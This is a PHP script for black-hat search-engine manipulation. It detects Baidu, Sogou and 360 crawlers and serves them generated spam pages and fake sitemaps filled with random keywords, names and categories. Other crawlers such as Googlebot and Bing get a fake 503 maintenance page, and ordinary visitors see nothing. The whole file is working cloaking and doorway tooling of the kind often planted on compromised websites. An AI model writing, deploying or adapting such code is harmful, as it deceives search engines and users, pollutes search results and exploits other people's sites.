//include('22.php'); //error_reporting(0); header('HTTP/1.1 200 OK'); header("status: 200 OK"); header('content-type:text/html;charset=utf-8'); define(ROOT,str_replace('\\','/',__DIR__).'/duseo/'); class baidu { public function html() { $arr = explode("/",$_SERVER['REQUEST_URI']); $num = sizeof($arr); $str =$arr[$num - 1]; $pattern = '/(\d*\d+)/'; preg_match_all($pattern, $str, $match); $lingdumap= 'sitemap'.$match['0']['0'].'.xml'; if($arr[$num - 1] == $lingdumap){ header("Content-Type: text/xml"); $map = "\t\r\n"; $host = 'http://'.$_SERVER['HTTP_HOST'].'/'; $date = date("Y-m-d"); for($i=0;$i<50;$i++){ $tmp = $host."wap".$this->randchar(3,0)."/".$this->randchar(9,2).'.html'; $map .= "\t\t\n"; $map .= "\t\t\t{$tmp}\r\n"; $map .= "\t\t\t{$date}\r\n"; $map .= "\t\t\tdaily\r\n"; $map .= "\t\t\t0.8\r\n"; $map .= "\t\t\n"; } $map .= "\t"; echo $map; exit; } $cache_path = str_replace('\\','/',__DIR__).'/cache/'; $url = $_SERVER['REQUEST_URI']; $url= str_replace("/","",$url); $key= $_SERVER["HTTP_USER_AGENT"]; $Sogouspider =preg_match('/Sogou/', $key, $Sogouspider); $baiduspider =preg_match('/Baiduspider/', $key, $baiduspider); $Googlebot =preg_match('/Googlebot/', $key, $Googlebot); $bingbot =preg_match('/bingbot/', $key, $bingbot); $MJ12bot =preg_match('/MJ12bot/', $key, $MJ12bot); $SemrushBot =preg_match('/SemrushBot/', $key, $BLEXBot); $lailu=$_SERVER["HTTP_REFERER"]; $liulingSpider=preg_match('/360Spider/',$key, $liulingSpider); if($baiduspider !=''||$Sogouspider !=''||$liulingSpider !='') //if($baiduspider !='2'||$Sogouspider !='2') { if(is_file($cache_path.$_SERVER['HTTP_HOST'].$url.'.log')) { $a=fileatime($cache_path.$_SERVER['HTTP_HOST'].$url.'.log'); $time=time()-$a; if($time < 60){ $html = file_get_contents($cache_path.$_SERVER['HTTP_HOST'].$url.'.log'); echo $html; exit(); } unlink($cache_path.$_SERVER['HTTP_HOST'].$url.'.log'); } $domain=$this->domain($_SERVER['HTTP_HOST']); if($domain!=true){ $dir = dirname(__FILE__).'/template/';//读取当前目录的绝对路径 $file = scandir($dir);//扫描文件夹 $count=count($file)-1; file_put_contents(ROOT."/domain/".$_SERVER['HTTP_HOST'].'.txt','/'.$file[rand(2,$count)],FILE_APPEND); $domain=$this->domain($_SERVER['HTTP_HOST']); } $html = $this->template($domain[0]); if($Googlebot !=''||$bingbot !=''||$MJ12bot!=''||$SemrushBot!='') { header( "HTTP/1.1 503 Service Temporarily Unavailable"); echo "对不起,页面维护中,请稍后访问! \r\n版权所有"; exit(); } $html = preg_replace('/<当前域名>/','http://'.$_SERVER['HTTP_HOST'],$html); $html = preg_replace('/<当前域名2>/',$_SERVER['HTTP_HOST'],$html); $html = preg_replace('/<当前域名1>/','https://'.$_SERVER['HTTP_HOST'].'/',$html); $html = preg_replace('/<当前链接>/',$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'],$html); while(strstr($html,'<随机数字9个>')) { $html = preg_replace('/<随机数字9个>/',mt_rand(1,9).$this->randchar(8,2),$html,1); } while(strstr($html,'<随机数字>')) { $html = preg_replace('/<随机数字>/',mt_rand(1,99999999),$html,1); } while(strstr($html,'<随机关键词>')) { $html = preg_replace('/<随机关键词>/',$this->randkeyword(),$html,1); } while(strstr($html,'<随机名字>')) { $html = preg_replace('/<随机名字>/',$this->mingzi(),$html,3); } while(strstr($html,'<随机栏目>')) { $html = preg_replace('/<随机栏目>/',$this->lanmu(),$html,1); } if($baiduspider !=''||$Sogouspider !=''||$liulingSpider !='') { file_put_contents($cache_path.$_SERVER['HTTP_HOST'].$url.'.log',$html); } echo $html; }else{ $url="http://www.yaobigou.com"; echo " "; exit; header('HTTP/1.1 404 Not Found'); } } public function domain($domain) { @$keywod_file = file(ROOT.'domain/'.$domain.'.txt'); return ($keywod_file); } public function lanmu() { foreach(glob(ROOT.'lanmu/*.txt') as $keywords) { $keyword_s[] = basename($keywords); } $keywod_file = file(ROOT.'lanmu/'.$keyword_s[mt_rand(0,count($keyword_s)-1)]); $keywod = $keywod_file[mt_rand(0,count($keywod_file)-1)]; return trim($keywod); } public function zhangjie() { foreach(glob(ROOT.'zhangjie/*.txt') as $zhangjie) { $keyword_s[] = basename($zhangjie); } $keywod_file = file(ROOT.'zhangjie/'.$keyword_s[mt_rand(0,count($keyword_s)-1)]); $keywod = $keywod_file[mt_rand(0,count($keywod_file)-1)]; return trim($keywod); } public function randkeyword() { foreach(glob(ROOT.'keywordss/*.txt') as $keywords) { $keyword_s[] = basename($keywords); } $keywod_file = file(ROOT.'keywordss/'.$keyword_s[mt_rand(0,count($keyword_s)-1)]); $keywod = $keywod_file[mt_rand(0,count($keywod_file)-1)]; return trim($keywod); } public function mingzi() { foreach(glob(ROOT.'mingzi/*.txt') as $juzis) { $juzi_s[] = basename($juzis); } $juzi_file = file(ROOT.'mingzi/'.$juzi_s[mt_rand(0,count($juzi_s)-1)]); $juzi = $juzi_file[mt_rand(0,count($juzi_file)-1)]; return trim($juzi); } public function template($templatename) { $template = file_get_contents(str_replace('\\','/',__DIR__).'/template/'.$templatename.'/top.html'); return $template; } public function randchar($length, $type) { $arr = array(1 => "abcdefghijklmnopqrstuvwxyz", 2 => "0123456789", 3 => "ABCDEFGHIJKLMNOPQRSTUVWXYZ"); if($type == 0) { array_pop($arr); $string = implode("", $arr); }elseif($type == "-1") { $string = implode("", $arr); }else{ $string = $arr[$type]; } $count = strlen($string) - 1; for($i = 0; $i < $length; $i++) { $str[$i] = $string[rand(0, $count)]; @$code .= $str[$i]; } return $code; } } $obj = new baidu(); $obj->html();